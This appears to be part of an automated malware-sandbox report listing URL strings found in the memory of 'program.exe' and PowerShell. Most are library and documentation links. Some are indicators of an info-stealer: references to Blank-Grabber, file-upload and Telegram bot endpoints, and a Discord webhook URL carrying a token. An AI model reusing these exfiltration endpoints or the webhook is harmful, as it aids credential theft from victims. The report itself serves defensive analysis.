Source: powershell.exe, 0000002A.00000002.1908908412.000001E9B3434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000002A.00000002.1908908412.000001E9B36F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1991968097.000001E9CA1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000002.2126705796.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: program.exe, 00000001.00000003.2002700653.000001B5FE1F1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103489320.000001B5FE1EA000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1850937625.000001B5FE1ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105991946.000001B5FE1F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: program.exe, 00000001.00000002.2110707812.000001B5FF148000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: program.exe, 00000001.00000002.2114614682.000001B5FFA7C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 00000008.00000002.1871103876.000001A83B921000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908908412.000001E9B1DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: program.exe, 00000001.00000003.1851652911.000001B5FF209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.stripe.com/v
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot0
Source: program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707762486.000002641A64D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707762486.000002641A64D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707762486.000002641A64D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: program.exe, 00000001.00000002.2107318473.000001B5FE680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-
Source: program.exe, 00000001.00000003.1851652911.000001B5FF209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: program.exe, 00000001.00000003.1713530178.000001B5FDD14000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1718315279.000001B5FDD08000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1713899896.000001B5FDD14000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1714242309.000001B5FDD18000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1718558053.000001B5FDD11000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1725898997.000001B5FDD18000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1714439286.000001B5FDD18000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1727743647.000001B5FDCB7000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1723691817.000001B5FDD15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: program.exe, 00000001.00000002.2105759928.000001B5FDE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: program.exe, 00000001.00000002.2105086608.000001B5FD894000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: program.exe, 00000001.00000002.2105086608.000001B5FD894000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: program.exe, 00000001.00000002.2107071806.000001B5FE450000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: program.exe, 00000001.00000003.1720139515.000001B5FE45D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1724687478.000001B5FE13E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1721395579.000001B5FE107000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 0000002A.00000002.1908908412.000001E9B36F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1991968097.000001E9CA1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: program.exe, 00000001.00000002.2105086608.000001B5FD894000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: program.exe, 00000001.00000003.1727613686.000001B5FDCC1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1727759704.000001B5FDD25000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105991946.000001B5FE050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
Source: program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: program.exe, 00000001.00000002.2107071806.000001B5FE450000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106525715.000001B5FE33B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2002183639.000001B5FE33B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/29200
Source: program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: powershell.exe, 0000002A.00000002.1908908412.000001E9B2CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: program.exe, 00000001.00000003.1754035626.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE3AF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106525715.000001B5FE33B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759827513.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106760693.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103757155.000001B5FE3AE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2002183639.000001B5FE33B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDCC2000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDCC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106483905.000001B5FE310000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848103473.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: program.exe, 00000001.00000003.1784927173.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: program.exe, 00000001.00000002.2105467796.000001B5FDCC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: program.exe, 00000001.00000002.2114614682.000001B5FFA88000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000002.2114614682.000001B5FFA64000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: powershell.exe, 00000008.00000002.1906355908.000001A84B996000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1981454462.000001E9C1FA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908908412.000001E9B374D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000002A.00000002.1908908412.000001E9B3434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000002A.00000002.1908908412.000001E9B3434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107318473.000001B5FE680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata
Source: program.exe, 00000001.00000002.2105991946.000001B5FE050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/#file-format
Source: program.exe, 00000001.00000002.2105991946.000001B5FE050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file
Source: program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107200618.000001B5FE560000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: program.exe, 00000001.00000003.1711208827.000001B5FDA11000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: program.exe, 00000001.00000002.2118655051.00007FFDFB868000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: program.exe, 00000001.00000003.1765670308.000001B5FEDFE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799219548.000001B5FEDBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1785586254.000001B5FEDFE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1798717006.000001B5FEDFE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1765670308.000001B5FEDBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: program.exe, 00000001.00000003.1759907670.000001B5FE389000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759251928.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE388000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1797522496.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: program.exe, 00000001.00000003.1759251928.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: program.exe, 00000001.00000003.1784927173.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1797522496.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000044221.000001B5FF37B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000411427.000001B5FF22F000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2104205317.000001B5FE394000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2104116645.000001B5FE382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: program.exe, 00000001.00000003.2001942691.000001B5FF1DB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000411427.000001B5FF20B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: program.exe, 00000001.00000003.2000044221.000001B5FF37B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000411427.000001B5FF22F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: program.exe, 00000001.00000003.2001942691.000001B5FF1DB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000411427.000001B5FF20B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: program.exe, 00000001.00000003.1754035626.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE3AF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759827513.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106760693.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103757155.000001B5FE3AE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: program.exe, 00000001.00000002.2107318473.000001B5FE680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: program.exe, 00000001.00000002.2107318473.000001B5FE680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106483905.000001B5FE310000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848103473.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107834839.000001B5FE95C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE8B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE8B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE8B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE8B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: program.exe, 00000001.00000002.2114614682.000001B5FFA50000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107834839.000001B5FE8B0000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000003.1765670308.000001B5FEDFE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799219548.000001B5FEDBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1785586254.000001B5FEDFE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1798717006.000001B5FEDFE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1765670308.000001B5FEDBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: program.exe, 00000001.00000003.1759251928.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE3AF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106760693.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103757155.000001B5FE3AE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3B0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759827513.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
